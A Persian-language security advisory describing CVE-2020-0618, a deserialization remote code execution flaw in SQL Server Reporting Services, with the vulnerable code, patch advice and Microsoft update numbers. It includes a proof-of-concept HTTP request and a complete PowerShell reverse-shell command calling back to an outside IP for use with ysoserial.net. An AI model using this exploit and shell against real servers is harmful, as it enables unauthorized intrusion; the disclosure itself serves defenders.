آسیب پذیری RCE در SQL Server Reporting Services

ssrs

سرویس های گزارش دهی سرور SQL یا به اختصار SSRS مجموعه ای از ابزارها و سرویس هایی می باشد که گزارش های صفحه بندی شده و سیار را تولید، توسعه و مدیریت می کند.

عملکردهای وب اپلیکیشن SSRS به حساب های کاربری کم امتیاز اجازه می دهد تا با سوء استفاده از یک نقص deserialization ، کد دلخواه را بر روی سرور اجرا کند.

در این نقص که در کتابخانه ی ReportingServicesWebServer.dll کشف شده است، متود OnLoad مربوط به Microsoft.Reporting.WebForms.BrowserNavigationCorrector با استفاده از کلاس LosFormatter ورودی کاربران نامعتبر را deserialize می کند :

protected override void OnLoad(EventArgs e)
{
	base.OnLoad(e);
	this.EnsureChildControls();
	if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
	{
		string value = this.m_viewerViewState.Value;
		if (!string.IsNullOrEmpty(value))
		{
			LosFormatter losFormatter = new LosFormatter();
			object obj = null;
			try
			{
				obj = losFormatter.Deserialize(value);

کلاس  BrowserNavigationCorrectorتوسط کلاس Microsoft.ReportingServices.WebServer.ReportViewerPage استفاده می شود:

protected override void OnInit(EventArgs e)
{
	base.OnInit(e);
	ReportViewerHost reportViewer = this.ReportViewer;
	reportViewer.EnableHybrid = this.ShowHybrid;
	if (reportViewer != null)
	{
		PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
		reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
		BrowserNavigationCorrector child2 = reportViewer.CreateNavigationCorrector();
		reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child2);

به عنوان مثال می توان با فراخوانی صفحه ی ReportServer/pages/ReportViewer.aspx/ در یک سرور SharePoint این قابلیت و عملکرد را فعال کرد.

PoC

درخواست HTTP زیر می تواند برای بهره برداری از برنامه به سرور ارسال شود:

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=

دستور زیر می تواند درPowerShell  برای تولیدpayload  با استفاده از ابزارysoserial.net مورد استفاده قرار گیرد:

$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.6.135",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

تصویر زیر نشان می دهد که یک  reverse shell بس از ارسال درخواست HTTP به سرور با payload  تولید شده ی فوق در دسترس خواهد بود:

راه حل و توصیه ها:

این نقص که با شناسه CVE-2020-0618 و با درجه CVSS=8.8 در به روزرسانی ماه فوریه مایکروسافت وصله شده است. در نتیجه توصیه می شود این وصله را بر روی سرور اعمال نمایید. لازم به ذکر است که مهاجمان می توانند به منظور فرار از فایروال های وب اپلیکیشن درخواست های خود را رمزنگاری کنند. در نتیجه اعمال وصله امنیتی بهترین گزینه برای متوقف کردن این آسیب پذیری خواهد بود. همچنین توصیه می شود که برنامه صرفا در دسترس کاربران معتبر باشد و سایر کاربران ناشناس  Browser role را نداشته باشند.

در ادامه می توانید به روزرسانی مرتبط با محصول خود را مطابق وصله های امنیتی ماه فوریه 2020 مایکروسافت مشاهده و دریافت نمایید:

  • Update KB4532095, Microsoft SQL Server 2014 for Service Pack 3 (CU)
  • Update KB4532097, Microsoft SQL Server 2016 SP2 GDR
  • Update KB4532098, Microsoft SQL Server 2012 for Service Pack 4 (QFE)
  • Update KB4535288, Microsoft SQL Server 2014 for Service Pack 3 (CU)
  • Update KB4535706, Microsoft SQL Server 2016 SP2 CU11

اخبار

CVE-2020-0618SQL ServerSSRS

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *